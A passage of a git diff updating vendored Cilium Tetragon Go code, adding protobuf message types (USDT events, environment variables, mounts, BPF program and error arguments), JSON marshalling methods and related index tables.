tetragon.ProcessCredentials.fsuid:type_name -> google.protobuf.UInt32Value + 60, // 31: tetragon.ProcessCredentials.fsgid:type_name -> google.protobuf.UInt32Value + 63, // 32: tetragon.ProcessCredentials.securebits:type_name -> tetragon.SecureBitsType 8, // 33: tetragon.ProcessCredentials.caps:type_name -> tetragon.Capabilities 11, // 34: tetragon.ProcessCredentials.user_ns:type_name -> tetragon.UserNamespace - 54, // 35: tetragon.InodeProperties.links:type_name -> google.protobuf.UInt32Value + 60, // 35: tetragon.InodeProperties.links:type_name -> google.protobuf.UInt32Value 13, // 36: tetragon.FileProperties.inode:type_name -> tetragon.InodeProperties - 54, // 37: tetragon.BinaryProperties.setuid:type_name -> google.protobuf.UInt32Value - 54, // 38: tetragon.BinaryProperties.setgid:type_name -> google.protobuf.UInt32Value - 58, // 39: tetragon.BinaryProperties.privileges_changed:type_name -> tetragon.ProcessPrivilegesChanged + 60, // 37: tetragon.BinaryProperties.setuid:type_name -> google.protobuf.UInt32Value + 60, // 38: tetragon.BinaryProperties.setgid:type_name -> google.protobuf.UInt32Value + 64, // 39: tetragon.BinaryProperties.privileges_changed:type_name -> tetragon.ProcessPrivilegesChanged 14, // 40: tetragon.BinaryProperties.file:type_name -> tetragon.FileProperties - 54, // 41: tetragon.Process.pid:type_name -> google.protobuf.UInt32Value - 54, // 42: tetragon.Process.uid:type_name -> google.protobuf.UInt32Value - 53, // 43: tetragon.Process.start_time:type_name -> google.protobuf.Timestamp - 54, // 44: tetragon.Process.auid:type_name -> google.protobuf.UInt32Value + 60, // 41: tetragon.Process.pid:type_name -> google.protobuf.UInt32Value + 60, // 42: tetragon.Process.uid:type_name -> google.protobuf.UInt32Value + 59, // 43: tetragon.Process.start_time:type_name -> google.protobuf.Timestamp + 60, // 44: tetragon.Process.auid:type_name -> google.protobuf.UInt32Value 7, // 45: tetragon.Process.pod:type_name -> tetragon.Pod 8, // 46: tetragon.Process.cap:type_name -> tetragon.Capabilities 10, // 47: tetragon.Process.ns:type_name -> tetragon.Namespaces - 54, // 48: tetragon.Process.tid:type_name -> google.protobuf.UInt32Value + 60, // 48: tetragon.Process.tid:type_name -> google.protobuf.UInt32Value 12, // 49: tetragon.Process.process_credentials:type_name -> tetragon.ProcessCredentials 15, // 50: tetragon.Process.binary_properties:type_name -> tetragon.BinaryProperties 16, // 51: tetragon.Process.user:type_name -> tetragon.UserRecord - 59, // 52: tetragon.Process.in_init_tree:type_name -> google.protobuf.BoolValue - 17, // 53: tetragon.ProcessExec.process:type_name -> tetragon.Process - 17, // 54: tetragon.ProcessExec.parent:type_name -> tetragon.Process - 17, // 55: tetragon.ProcessExec.ancestors:type_name -> tetragon.Process - 17, // 56: tetragon.ProcessExit.process:type_name -> tetragon.Process - 17, // 57: tetragon.ProcessExit.parent:type_name -> tetragon.Process - 53, // 58: tetragon.ProcessExit.time:type_name -> google.protobuf.Timestamp - 17, // 59: tetragon.ProcessExit.ancestors:type_name -> tetragon.Process - 55, // 60: tetragon.KprobeCred.permitted:type_name -> tetragon.CapabilitiesType - 55, // 61: tetragon.KprobeCred.effective:type_name -> tetragon.CapabilitiesType - 55, // 62: tetragon.KprobeCred.inheritable:type_name -> tetragon.CapabilitiesType - 56, // 63: tetragon.KprobeCapability.value:type_name -> google.protobuf.Int32Value - 56, // 64: tetragon.KprobeUserNamespace.level:type_name -> google.protobuf.Int32Value - 54, // 65: tetragon.KprobeUserNamespace.owner:type_name -> google.protobuf.UInt32Value - 54, // 66: tetragon.KprobeUserNamespace.group:type_name -> google.protobuf.UInt32Value - 9, // 67: tetragon.KprobeUserNamespace.ns:type_name -> tetragon.Namespace - 21, // 68: tetragon.KprobeArgument.skb_arg:type_name -> tetragon.KprobeSkb - 24, // 69: tetragon.KprobeArgument.path_arg:type_name -> tetragon.KprobePath - 25, // 70: tetragon.KprobeArgument.file_arg:type_name -> tetragon.KprobeFile - 26, // 71: tetragon.KprobeArgument.truncated_bytes_arg:type_name -> tetragon.KprobeTruncatedBytes - 20, // 72: tetragon.KprobeArgument.sock_arg:type_name -> tetragon.KprobeSock - 27, // 73: tetragon.KprobeArgument.cred_arg:type_name -> tetragon.KprobeCred - 31, // 74: tetragon.KprobeArgument.bpf_attr_arg:type_name -> tetragon.KprobeBpfAttr - 32, // 75: tetragon.KprobeArgument.perf_event_arg:type_name -> tetragon.KprobePerfEvent - 33, // 76: tetragon.KprobeArgument.bpf_map_arg:type_name -> tetragon.KprobeBpfMap - 30, // 77: tetragon.KprobeArgument.user_namespace_arg:type_name -> tetragon.KprobeUserNamespace - 29, // 78: tetragon.KprobeArgument.capability_arg:type_name -> tetragon.KprobeCapability - 12, // 79: tetragon.KprobeArgument.process_credentials_arg:type_name -> tetragon.ProcessCredentials - 11, // 80: tetragon.KprobeArgument.user_ns_arg:type_name -> tetragon.UserNamespace - 40, // 81: tetragon.KprobeArgument.module_arg:type_name -> tetragon.KernelModule - 28, // 82: tetragon.KprobeArgument.linux_binprm_arg:type_name -> tetragon.KprobeLinuxBinprm - 23, // 83: tetragon.KprobeArgument.net_dev_arg:type_name -> tetragon.KprobeNetDev - 60, // 84: tetragon.KprobeArgument.bpf_cmd_arg:type_name -> tetragon.BpfCmd - 34, // 85: tetragon.KprobeArgument.syscall_id:type_name -> tetragon.SyscallId - 22, // 86: tetragon.KprobeArgument.sockaddr_arg:type_name -> tetragon.KprobeSockaddr - 17, // 87: tetragon.ProcessKprobe.process:type_name -> tetragon.Process - 17, // 88: tetragon.ProcessKprobe.parent:type_name -> tetragon.Process - 35, // 89: tetragon.ProcessKprobe.args:type_name -> tetragon.KprobeArgument - 35, // 90: tetragon.ProcessKprobe.return:type_name -> tetragon.KprobeArgument - 0, // 91: tetragon.ProcessKprobe.action:type_name -> tetragon.KprobeAction - 49, // 92: tetragon.ProcessKprobe.kernel_stack_trace:type_name -> tetragon.StackTraceEntry - 0, // 93: tetragon.ProcessKprobe.return_action:type_name -> tetragon.KprobeAction - 49, // 94: tetragon.ProcessKprobe.user_stack_trace:type_name -> tetragon.StackTraceEntry - 17, // 95: tetragon.ProcessKprobe.ancestors:type_name -> tetragon.Process - 17, // 96: tetragon.ProcessTracepoint.process:type_name -> tetragon.Process - 17, // 97: tetragon.ProcessTracepoint.parent:type_name -> tetragon.Process - 35, // 98: tetragon.ProcessTracepoint.args:type_name -> tetragon.KprobeArgument - 0, // 99: tetragon.ProcessTracepoint.action:type_name -> tetragon.KprobeAction - 17, // 100: tetragon.ProcessTracepoint.ancestors:type_name -> tetragon.Process - 17, // 101: tetragon.ProcessUprobe.process:type_name -> tetragon.Process - 17, // 102: tetragon.ProcessUprobe.parent:type_name -> tetragon.Process - 35, // 103: tetragon.ProcessUprobe.args:type_name -> tetragon.KprobeArgument - 17, // 104: tetragon.ProcessUprobe.ancestors:type_name -> tetragon.Process - 17, // 105: tetragon.ProcessLsm.process:type_name -> tetragon.Process - 17, // 106: tetragon.ProcessLsm.parent:type_name -> tetragon.Process - 35, // 107: tetragon.ProcessLsm.args:type_name -> tetragon.KprobeArgument - 0, // 108: tetragon.ProcessLsm.action:type_name -> tetragon.KprobeAction - 17, // 109: tetragon.ProcessLsm.ancestors:type_name -> tetragon.Process - 59, // 110: tetragon.KernelModule.signature_ok:type_name -> google.protobuf.BoolValue - 3, // 111: tetragon.KernelModule.tainted:type_name -> tetragon.TaintedBitsType - 1, // 112: tetragon.GetHealthStatusRequest.event_set:type_name -> tetragon.HealthStatusType - 1, // 113: tetragon.HealthStatus.event:type_name -> tetragon.HealthStatusType - 2, // 114: tetragon.HealthStatus.status:type_name -> tetragon.HealthStatusResult - 43, // 115: tetragon.GetHealthStatusResponse.health_status:type_name -> tetragon.HealthStatus - 17, // 116: tetragon.ProcessLoader.process:type_name -> tetragon.Process - 48, // 117: tetragon.RuntimeHookRequest.createContainer:type_name -> tetragon.CreateContainer - 52, // 118: tetragon.CreateContainer.annotations:type_name -> tetragon.CreateContainer.AnnotationsEntry - 119, // [119:119] is the sub-list for method output_type - 119, // [119:119] is the sub-list for method input_type - 119, // [119:119] is the sub-list for extension type_name - 119, // [119:119] is the sub-list for extension extendee - 0, // [0:119] is the sub-list for field type_name + 65, // 52: tetragon.Process.in_init_tree:type_name -> google.protobuf.BoolValue + 17, // 53: tetragon.Process.environment_variables:type_name -> tetragon.EnvVar + 18, // 54: tetragon.ProcessExec.process:type_name -> tetragon.Process + 18, // 55: tetragon.ProcessExec.parent:type_name -> tetragon.Process + 18, // 56: tetragon.ProcessExec.ancestors:type_name -> tetragon.Process + 18, // 57: tetragon.ProcessExit.process:type_name -> tetragon.Process + 18, // 58: tetragon.ProcessExit.parent:type_name -> tetragon.Process + 59, // 59: tetragon.ProcessExit.time:type_name -> google.protobuf.Timestamp + 18, // 60: tetragon.ProcessExit.ancestors:type_name -> tetragon.Process + 61, // 61: tetragon.KprobeCred.permitted:type_name -> tetragon.CapabilitiesType + 61, // 62: tetragon.KprobeCred.effective:type_name -> tetragon.CapabilitiesType + 61, // 63: tetragon.KprobeCred.inheritable:type_name -> tetragon.CapabilitiesType + 62, // 64: tetragon.KprobeCapability.value:type_name -> google.protobuf.Int32Value + 62, // 65: tetragon.KprobeUserNamespace.level:type_name -> google.protobuf.Int32Value + 60, // 66: tetragon.KprobeUserNamespace.owner:type_name -> google.protobuf.UInt32Value + 60, // 67: tetragon.KprobeUserNamespace.group:type_name -> google.protobuf.UInt32Value + 9, // 68: tetragon.KprobeUserNamespace.ns:type_name -> tetragon.Namespace + 22, // 69: tetragon.KprobeArgument.skb_arg:type_name -> tetragon.KprobeSkb + 26, // 70: tetragon.KprobeArgument.path_arg:type_name -> tetragon.KprobePath + 27, // 71: tetragon.KprobeArgument.file_arg:type_name -> tetragon.KprobeFile + 28, // 72: tetragon.KprobeArgument.truncated_bytes_arg:type_name -> tetragon.KprobeTruncatedBytes + 21, // 73: tetragon.KprobeArgument.sock_arg:type_name -> tetragon.KprobeSock + 29, // 74: tetragon.KprobeArgument.cred_arg:type_name -> tetragon.KprobeCred + 33, // 75: tetragon.KprobeArgument.bpf_attr_arg:type_name -> tetragon.KprobeBpfAttr + 35, // 76: tetragon.KprobeArgument.perf_event_arg:type_name -> tetragon.KprobePerfEvent + 36, // 77: tetragon.KprobeArgument.bpf_map_arg:type_name -> tetragon.KprobeBpfMap + 32, // 78: tetragon.KprobeArgument.user_namespace_arg:type_name -> tetragon.KprobeUserNamespace + 31, // 79: tetragon.KprobeArgument.capability_arg:type_name -> tetragon.KprobeCapability + 12, // 80: tetragon.KprobeArgument.process_credentials_arg:type_name -> tetragon.ProcessCredentials + 11, // 81: tetragon.KprobeArgument.user_ns_arg:type_name -> tetragon.UserNamespace + 45, // 82: tetragon.KprobeArgument.module_arg:type_name -> tetragon.KernelModule + 30, // 83: tetragon.KprobeArgument.linux_binprm_arg:type_name -> tetragon.KprobeLinuxBinprm + 25, // 84: tetragon.KprobeArgument.net_dev_arg:type_name -> tetragon.KprobeNetDev + 66, // 85: tetragon.KprobeArgument.bpf_cmd_arg:type_name -> tetragon.BpfCmd + 38, // 86: tetragon.KprobeArgument.syscall_id:type_name -> tetragon.SyscallId + 23, // 87: tetragon.KprobeArgument.sockaddr_arg:type_name -> tetragon.KprobeSockaddr + 34, // 88: tetragon.KprobeArgument.bpf_prog_arg:type_name -> tetragon.KprobeBpfProg + 37, // 89: tetragon.KprobeArgument.error_arg:type_name -> tetragon.KprobeError + 24, // 90: tetragon.KprobeArgument.sockaddrun_arg:type_name -> tetragon.KprobeSockaddrUn + 18, // 91: tetragon.ProcessKprobe.process:type_name -> tetragon.Process + 18, // 92: tetragon.ProcessKprobe.parent:type_name -> tetragon.Process + 39, // 93: tetragon.ProcessKprobe.args:type_name -> tetragon.KprobeArgument + 39, // 94: tetragon.ProcessKprobe.return:type_name -> tetragon.KprobeArgument + 0, // 95: tetragon.ProcessKprobe.action:type_name -> tetragon.KprobeAction + 55, // 96: tetragon.ProcessKprobe.kernel_stack_trace:type_name -> tetragon.StackTraceEntry + 0, // 97: tetragon.ProcessKprobe.return_action:type_name -> tetragon.KprobeAction + 55, // 98: tetragon.ProcessKprobe.user_stack_trace:type_name -> tetragon.StackTraceEntry + 18, // 99: tetragon.ProcessKprobe.ancestors:type_name -> tetragon.Process + 39, // 100: tetragon.ProcessKprobe.data:type_name -> tetragon.KprobeArgument + 18, // 101: tetragon.ProcessTracepoint.process:type_name -> tetragon.Process + 18, // 102: tetragon.ProcessTracepoint.parent:type_name -> tetragon.Process + 39, // 103: tetragon.ProcessTracepoint.args:type_name -> tetragon.KprobeArgument + 0, // 104: tetragon.ProcessTracepoint.action:type_name -> tetragon.KprobeAction + 18, // 105: tetragon.ProcessTracepoint.ancestors:type_name -> tetragon.Process + 18, // 106: tetragon.ProcessUprobe.process:type_name -> tetragon.Process + 18, // 107: tetragon.ProcessUprobe.parent:type_name -> tetragon.Process + 39, // 108: tetragon.ProcessUprobe.args:type_name -> tetragon.KprobeArgument + 18, // 109: tetragon.ProcessUprobe.ancestors:type_name -> tetragon.Process + 0, // 110: tetragon.ProcessUprobe.action:type_name -> tetragon.KprobeAction + 39, // 111: tetragon.ProcessUprobe.data:type_name -> tetragon.KprobeArgument + 18, // 112: tetragon.ProcessUsdt.process:type_name -> tetragon.Process + 18, // 113: tetragon.ProcessUsdt.parent:type_name -> tetragon.Process + 39, // 114: tetragon.ProcessUsdt.args:type_name -> tetragon.KprobeArgument + 18, // 115: tetragon.ProcessUsdt.ancestors:type_name -> tetragon.Process + 0, // 116: tetragon.ProcessUsdt.action:type_name -> tetragon.KprobeAction + 18, // 117: tetragon.ProcessLsm.process:type_name -> tetragon.Process + 18, // 118: tetragon.ProcessLsm.parent:type_name -> tetragon.Process + 39, // 119: tetragon.ProcessLsm.args:type_name -> tetragon.KprobeArgument + 0, // 120: tetragon.ProcessLsm.action:type_name -> tetragon.KprobeAction + 18, // 121: tetragon.ProcessLsm.ancestors:type_name -> tetragon.Process + 65, // 122: tetragon.KernelModule.signature_ok:type_name -> google.protobuf.BoolValue + 3, // 123: tetragon.KernelModule.tainted:type_name -> tetragon.TaintedBitsType + 1, // 124: tetragon.GetHealthStatusRequest.event_set:type_name -> tetragon.HealthStatusType + 1, // 125: tetragon.HealthStatus.event:type_name -> tetragon.HealthStatusType + 2, // 126: tetragon.HealthStatus.status:type_name -> tetragon.HealthStatusResult + 48, // 127: tetragon.GetHealthStatusResponse.health_status:type_name -> tetragon.HealthStatus + 18, // 128: tetragon.ProcessLoader.process:type_name -> tetragon.Process + 18, // 129: tetragon.ProcessLoader.parent:type_name -> tetragon.Process + 18, // 130: tetragon.ProcessLoader.ancestors:type_name -> tetragon.Process + 54, // 131: tetragon.RuntimeHookRequest.createContainer:type_name -> tetragon.CreateContainer + 58, // 132: tetragon.CreateContainer.annotations:type_name -> tetragon.CreateContainer.AnnotationsEntry + 53, // 133: tetragon.CreateContainer.mounts:type_name -> tetragon.Mount + 134, // [134:134] is the sub-list for method output_type + 134, // [134:134] is the sub-list for method input_type + 134, // [134:134] is the sub-list for extension type_name + 134, // [134:134] is the sub-list for extension extendee + 0, // [0:134] is the sub-list for field type_name } func init() { file_tetragon_tetragon_proto_init() } @@ -5453,7 +6106,7 @@ func file_tetragon_tetragon_proto_init() { } file_tetragon_bpf_proto_init() file_tetragon_capabilities_proto_init() - file_tetragon_tetragon_proto_msgTypes[31].OneofWrappers = []any{ + file_tetragon_tetragon_proto_msgTypes[35].OneofWrappers = []any{ (*KprobeArgument_StringArg)(nil), (*KprobeArgument_IntArg)(nil), (*KprobeArgument_SkbArg)(nil), @@ -5483,8 +6136,11 @@ func file_tetragon_tetragon_proto_init() { (*KprobeArgument_BpfCmdArg)(nil), (*KprobeArgument_SyscallId)(nil), (*KprobeArgument_SockaddrArg)(nil), + (*KprobeArgument_BpfProgArg)(nil), + (*KprobeArgument_ErrorArg)(nil), + (*KprobeArgument_SockaddrunArg)(nil), } - file_tetragon_tetragon_proto_msgTypes[42].OneofWrappers = []any{ + file_tetragon_tetragon_proto_msgTypes[47].OneofWrappers = []any{ (*RuntimeHookRequest_CreateContainer)(nil), } type x struct{} @@ -5493,7 +6149,7 @@ func file_tetragon_tetragon_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_tetragon_tetragon_proto_rawDesc, NumEnums: 4, - NumMessages: 49, + NumMessages: 55, NumExtensions: 0, NumServices: 0, }, diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.pb.json.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.pb.json.go index 05c0be90..c8836f8c 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.pb.json.go +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.pb.json.go @@ -166,6 +166,18 @@ func (msg *UserRecord) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } +// MarshalJSON implements json.Marshaler +func (msg *EnvVar) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *EnvVar) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + // MarshalJSON implements json.Marshaler func (msg *Process) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ @@ -238,6 +250,18 @@ func (msg *KprobeSockaddr) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } +// MarshalJSON implements json.Marshaler +func (msg *KprobeSockaddrUn) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *KprobeSockaddrUn) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + // MarshalJSON implements json.Marshaler func (msg *KprobeNetDev) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ @@ -346,6 +370,18 @@ func (msg *KprobeBpfAttr) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } +// MarshalJSON implements json.Marshaler +func (msg *KprobeBpfProg) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *KprobeBpfProg) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + // MarshalJSON implements json.Marshaler func (msg *KprobePerfEvent) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ @@ -370,6 +406,18 @@ func (msg *KprobeBpfMap) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } +// MarshalJSON implements json.Marshaler +func (msg *KprobeError) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *KprobeError) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + // MarshalJSON implements json.Marshaler func (msg *SyscallId) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ @@ -430,6 +478,18 @@ func (msg *ProcessUprobe) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } +// MarshalJSON implements json.Marshaler +func (msg *ProcessUsdt) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *ProcessUsdt) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + // MarshalJSON implements json.Marshaler func (msg *ProcessLsm) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ @@ -538,6 +598,18 @@ func (msg *RuntimeHookResponse) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } +// MarshalJSON implements json.Marshaler +func (msg *Mount) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *Mount) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + // MarshalJSON implements json.Marshaler func (msg *CreateContainer) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.proto b/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.proto index dc5ad629..83e0a12c 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.proto +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.proto @@ -52,6 +52,8 @@ message Pod { string namespace = 1; // Name of the Pod. string name = 2; + // UID of the Pod. + string uid = 3; // Container of the Pod from which the process that triggered the event // originates. Container container = 4; @@ -184,6 +186,12 @@ message UserRecord { string name = 1; } +// Environment variable +message EnvVar { + string Key = 1; + string Value = 2; +} + message Process { // Exec ID uniquely identifies the process over time across all the nodes in the cluster. string exec_id = 1; @@ -295,6 +303,8 @@ message Process { // for example, you wish to discern whether a process was spawned using a // tool like nsenter or kubectl exec. google.protobuf.BoolValue in_init_tree = 20; + // Environment variables passed to the binary at execution. + repeated EnvVar environment_variables = 21; } message ProcessExec { @@ -361,6 +371,11 @@ message KprobeSockaddr { uint32 port = 3; } +message KprobeSockaddrUn { + string family = 1; + string path = 2; +} + message KprobeNetDev { string name = 1; } @@ -414,6 +429,12 @@ message KprobeBpfAttr { string ProgName = 3; } +message KprobeBpfProg { + string ProgType = 1; + uint32 InsnCnt = 2; + string ProgName = 3; +} + message KprobePerfEvent { string KprobeFunc = 1; string Type = 2; @@ -429,6 +450,10 @@ message KprobeBpfMap { string MapName = 5; } +message KprobeError { + string Message = 1; +} + message SyscallId { uint32 id = 1; string abi = 2; @@ -465,6 +490,9 @@ message KprobeArgument { BpfCmd bpf_cmd_arg = 28; SyscallId syscall_id = 29; KprobeSockaddr sockaddr_arg = 30; + KprobeBpfProg bpf_prog_arg = 31; + KprobeError error_arg = 32; + KprobeSockaddrUn sockaddrun_arg = 33; } string label = 18; } @@ -501,6 +529,8 @@ enum KprobeAction { KPROBE_ACTION_NOTIFYENFORCER = 13; // CleanupEnforcerNotification action cleanups any state left by NotifyEnforcer KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION = 14; + // Set action sets first USDT argument + KPROBE_ACTION_SET = 15; } message ProcessKprobe { @@ -530,6 +560,8 @@ message ProcessKprobe { repeated StackTraceEntry user_stack_trace = 12; // Ancestors of the process beyond the immediate parent. repeated Process ancestors = 13; + // Data definition of the observed kprobe. + repeated KprobeArgument data = 14; } message ProcessTracepoint { @@ -575,6 +607,33 @@ message ProcessUprobe { uint64 offset = 10; // uprobe ref_ctr_offset uint64 ref_ctr_offset = 11; + // Action performed when the uprobe hook matched. + KprobeAction action = 12; + // Data definition of the observed uprobe. + repeated KprobeArgument data = 13; +} + +message ProcessUsdt { + Process process = 1; + Process parent = 2; + string path = 3; + string provider = 4; + string name = 5; + // Name of the policy that created that uprobe. + string policy_name = 6; + // Short message of the Tracing Policy to inform users what is going on. + string message = 7; + // Arguments definition of the observed uprobe. + repeated KprobeArgument args = 8; + // Tags of the Tracing Policy to categorize the event. + repeated string tags = 9; + // Ancestors of the process beyond the immediate parent. + repeated Process ancestors = 10; + // Action performed when the USDT hook matched. + KprobeAction action = 11; + // Flags are for debugging purposes only and should not be considered a + // reliable source of information. + string flags = 12; } message ProcessLsm { @@ -672,9 +731,16 @@ message GetHealthStatusResponse { // loader sensor event triggered for loaded binary/library message ProcessLoader { + // Process that triggered the loader. Process process = 1; + // File path that is being loaded. string path = 2; + // Buildid of the file that is being loaded. bytes buildid = 3; + // Immediate parent of the process. + Process parent = 4; + // Ancestors of the process beyond the immediate parent. + repeated Process ancestors = 5; } // RuntimeHookRequest synchronously propagates information to the agent about run-time state. @@ -686,6 +752,17 @@ message RuntimeHookRequest { message RuntimeHookResponse {} +message Mount { + // Destination is the absolute path where the mount will be placed in the container. + string destination = 1; + // Type specifies the mount kind. + string type = 2; + // Source specifies the source path of the mount. + string source = 3; + // Options are fstab style mount options. + repeated string options = 4; +} + // CreateContainer informs the agent that a container was created // This is intented to be used by OCI hooks (but not limited to them) and corresponds to the // CreateContainer hook: @@ -716,6 +793,8 @@ message CreateContainer { string podNamespace = 8; // containerImage is the full image location (repo + image) string containerImage = 9; + // Mounts configures additional mounts (on top of Root). + repeated Mount mounts = 10; } message StackTraceEntry { diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/types.pb.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/types.pb.go index a862c5aa..4184d3fa 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/types.pb.go +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/types.pb.go @@ -165,6 +165,32 @@ func (event *ProcessUprobe) SetAncestors(ps []*Process) { event.Ancestors = ps } +// Encapsulate implements the Event interface. +// Returns the event wrapped by its GetEventsResponse_* type. +func (event *ProcessUsdt) Encapsulate() IsGetEventsResponse_Event { + return &GetEventsResponse_ProcessUsdt{ + ProcessUsdt: event, + } +} + +// SetProcess implements the ProcessEvent interface. +// Sets the Process field of an event. +func (event *ProcessUsdt) SetProcess(p *Process) { + event.Process = p +} + +// SetParent implements the ParentEvent interface. +// Sets the Parent field of an event. +func (event *ProcessUsdt) SetParent(p *Process) { + event.Parent = p +} + +// SetAncestors implements the AncestorEvent interface. +// Sets the Ancestor field of an event. +func (event *ProcessUsdt) SetAncestors(ps []*Process) { + event.Ancestors = ps +} + // Encapsulate implements the Event interface. // Returns the event wrapped by its GetEventsResponse_* type. func (event *ProcessLsm) Encapsulate() IsGetEventsResponse_Event { @@ -213,6 +239,18 @@ func (event *ProcessLoader) SetProcess(p *Process) { event.Process = p } +// SetParent implements the ParentEvent interface. +// Sets the Parent field of an event. +func (event *ProcessLoader) SetParent(p *Process) { + event.Parent = p +} + +// SetAncestors implements the AncestorEvent interface. +// Sets the Ancestor field of an event. +func (event *ProcessLoader) SetAncestors(ps []*Process) { + event.Ancestors = ps +} + // Encapsulate implements the Event interface. // Returns the event wrapped by its GetEventsResponse_* type. func (event *RateLimitInfo) Encapsulate() IsGetEventsResponse_Event { @@ -246,6 +284,8 @@ func UnwrapGetEventsResponse(response *GetEventsResponse) interface{} { return ev.ProcessTracepoint case *GetEventsResponse_ProcessUprobe: return ev.ProcessUprobe + case *GetEventsResponse_ProcessUsdt: + return ev.ProcessUsdt case *GetEventsResponse_ProcessLsm: return ev.ProcessLsm case *GetEventsResponse_Test: diff --git a/vendor/github.com/cilium/tetragon/pkg/api/ops/ops.go b/vendor/github.com/cilium/tetragon/pkg/api/ops/ops.go index d372e915..fd1a7684 100644 --- a/vendor/github.com/cilium/tetragon/pkg/api/ops/ops.go +++ b/vendor/github.com/cilium/tetragon/pkg/api/ops/ops.go @@ -24,17 +24,19 @@ const ( MSG_OP_EXECVE = 5 MSG_OP_EXIT = 7 + // range below is reserved, place new ops in the next section MSG_OP_GENERIC_KPROBE = 13 MSG_OP_GENERIC_TRACEPOINT = 14 MSG_OP_GENERIC_UPROBE = 15 MSG_OP_GENERIC_LSM = 16 // MSG_OP_CLONE notifies user-space that a clone() event has occurred. - MSG_OP_CLONE = 23 - MSG_OP_DATA = 24 - MSG_OP_CGROUP = 25 - MSG_OP_LOADER = 26 - MSG_OP_THROTTLE = 27 + MSG_OP_CLONE = 23 + MSG_OP_DATA = 24 + MSG_OP_CGROUP = 25 + MSG_OP_LOADER = 26 + MSG_OP_THROTTLE = 27 + MSG_OP_GENERIC_USDT = 28 // just for testing MSG_OP_TEST = 254 @@ -78,6 +80,7 @@ var OpCodeStrings = map[OpCode]string{ MSG_OP_CGROUP: "Cgroup", MSG_OP_LOADER: "Loader", MSG_OP_THROTTLE: "Throttle", + MSG_OP_GENERIC_USDT: "GenericUSDT", MSG_OP_TEST: "Test", } diff --git a/vendor/github.com/cilium/tetragon/pkg/arch/arch.go b/vendor/github.com/cilium/tetragon/pkg/arch/arch.go index e1bddf19..089079e5 100644 --- a/vendor/github.com/cilium/tetragon/pkg/arch/arch.go +++ b/vendor/github.com/cilium/tetragon/pkg/arch/arch.go @@ -13,10 +13,10 @@ import ( var supportedArchPrefix = map[string]string{"amd64": "__x64_", "arm64": "__arm64_", "i386": "__ia32_"} func addSyscallPrefix(symbol string, arch string) (string, error) { - for prefix_arch, prefix := range supportedArchPrefix { + for prefixArch, prefix := range supportedArchPrefix { if strings.HasPrefix(symbol, prefix) { // check that the prefix found is the correct one - if prefix_arch != arch { + if prefixArch != arch { return "", fmt.Errorf("expecting %s and got %s", supportedArchPrefix[arch], prefix) } return symbol, nil diff --git a/vendor/github.com/cilium/tetragon/pkg/defaults/defaults.go b/vendor/github.com/cilium/tetragon/pkg/defaults/defaults.go index e79343b7..98a8c5b0 100644 --- a/vendor/github.com/cilium/tetragon/pkg/defaults/defaults.go +++ b/vendor/github.com/cilium/tetragon/pkg/defaults/defaults.go @@ -41,6 +41,10 @@ const ( // Used by both client cli to guess unix socket address and by bugtool InitInfoFile = DefaultRunDir + "tetragon-info.json" + // BugtoolExtraFiles is the file location for extra files to include in bugtool archives. + // Written by the daemon at startup, read by the CLI at bugtool time. + BugtoolExtraFiles = DefaultRunDir + "tetragon-bugtool-extra-files.json" + // Default directory from where to load tracing policies. DefaultTpDir = "/etc/tetragon/tetragon.tp.d" @@ -56,6 +60,13 @@ const ( // defaults for the process cache 